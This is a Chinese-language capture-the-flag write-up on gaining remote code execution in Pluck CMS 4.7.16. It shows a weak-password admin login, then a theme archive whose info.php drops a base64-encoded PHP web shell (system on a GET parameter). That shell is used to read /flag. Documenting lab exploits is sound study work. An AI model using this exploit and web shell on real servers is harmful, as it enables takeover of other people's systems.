目录

一、题目

二、 利用cms主题构造木马

---

一、题目

介绍：

Pluck-CMS-Pluck-4.7.16 后台RCE

进入题目：

cms页面 点击admin进行登录：

 弱口令admin登录：

 成功登录进去：

 国产化一下：

选项---选择主题

点击安装主题： 

进入了选择文件页面： 

 

二、 利用cms主题构造木马

这里我们需要将主题中的info.php文件修改，再打包成zip再上传，通过网络搜索找到Github中的Pluck CMS，进入后随便下载任一主题： 

Search · Pluck CMS (github.com)

这两个都可以： 

 

Code下载压缩包：

 压缩文件并打开info.php：

把里面的内容改为：

<?php

file_put_contents('testshell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));

?>

构造一句话木马 

file_put_contents() 函数：把一个字符串写入文件中。

base64_decode()对encoded_data进行解码,返回原始数据。

<?php system($_GET[1]);?>  base64编码为  PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==

 把最终的一句话木马写入info.php中：

把改过的文件压缩一下： 

 选择压缩包文件 并上传：

 上传成功：

 在根目录url上输入testshell.php?1=cat%20/flag查看flag：

 flag{eafed940-ba3f-449b-a1d2-2fab8807b484}